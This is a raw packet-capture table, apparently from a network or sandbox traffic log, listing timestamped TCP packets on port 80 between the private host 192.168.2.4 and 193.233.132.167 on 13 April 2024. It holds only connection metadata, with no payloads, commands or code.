Apr 13, 2024 20:21:17.739505053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739526987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739542961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739564896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739579916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739600897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739624023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739638090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739645958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739675045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739691019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739712954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739734888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739752054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739768028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739789009 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739809990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739826918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739835024 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739865065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739877939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739902020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739917994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739939928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739958048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739979029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740006924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740015984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740026951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740052938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740065098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740089893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740118980 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740127087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740139008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740164995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740180969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740201950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740210056 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740256071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740266085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740304947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740317106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740340948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740348101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740377903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740406990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740416050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740427017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740453005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740478039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740489960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740495920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740526915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740540028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740565062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740577936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740605116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740631104 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740648985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740655899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740685940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740696907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740724087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740748882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740761042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740797997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740801096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740802050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740834951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740848064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740874052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740881920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740911007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740933895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740947962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740974903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740974903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.740986109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.740997076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741023064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741061926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741074085 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741074085 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741101980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741137981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741148949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741148949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741177082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741205931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741213083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741223097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741250992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741265059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741290092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741311073 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741327047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741339922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741364002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741380930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741401911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741416931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741439104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741456032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741477966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741487026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741514921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741553068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741555929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741555929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741592884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741605043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741630077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741642952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741667986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741707087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741712093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741712093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741744041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741767883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741780043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741786003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741817951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741827965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741854906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741867065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741895914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741925001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741933107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741945028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.741970062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.741991043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742007017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742026091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742044926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742053986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742083073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742100954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742120981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742136955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742158890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742171049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742197037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742209911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742233992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742249012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742275000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742286921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742311954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742332935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742350101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742368937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742387056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742391109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742424011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742439032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742464066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742490053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742506027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742525101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742542982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742559910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742582083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.742584944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.742635012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086623907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086690903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086736917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086777925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086817026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086853027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086893082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086894989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086895943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086895943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086895943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086895943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086930037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086971998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.086985111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086986065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.086986065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087008953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087019920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087048054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087064981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087085962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087109089 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087124109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087127924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087162018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087179899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087198973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087236881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087272882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087311029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087347984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087385893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087404966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087421894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087430000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087439060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087430000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087430000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087430954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087430954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087430954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087457895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087479115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087496996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087516069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087526083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087527037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087527037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087527037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087527037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087533951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087551117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087568045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087568045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087568045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087568045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087585926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087591887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087603092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087613106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087622881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087634087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087640047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087657928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087658882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087658882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087676048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087677956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087694883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087714911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087732077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087738991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087738991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087748051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087763071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087774992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087790012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087794065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087806940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087811947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087822914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087830067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087838888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087847948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087856054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087865114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087872982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087882042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087898016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087898016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087898970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087918043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087934971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087950945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087959051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087959051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087968111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.087984085 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.087985039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088004112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088012934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088020086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088032961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088038921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088048935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088057041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088076115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088076115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088076115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088093042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088093996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088110924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088114977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088128090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088131905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088145018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088150978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088162899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088170052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088181973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088186979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088200092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088210106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088231087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088251114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088251114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088254929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088272095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088289022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088290930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088289976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088309050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088310957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088330030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088346958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088351011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088362932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088376999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088376999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088381052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088396072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088402987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088413954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088419914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088433027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088438034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088454962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088459969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088459969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088471889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088479042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088491917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088496923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088509083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088515997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088526011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088543892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088561058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088567972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088567972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088578939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088592052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088597059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088606119 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088613987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088623047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088633060 CEST	80	49744	193.233.132.167	192.168.2.4
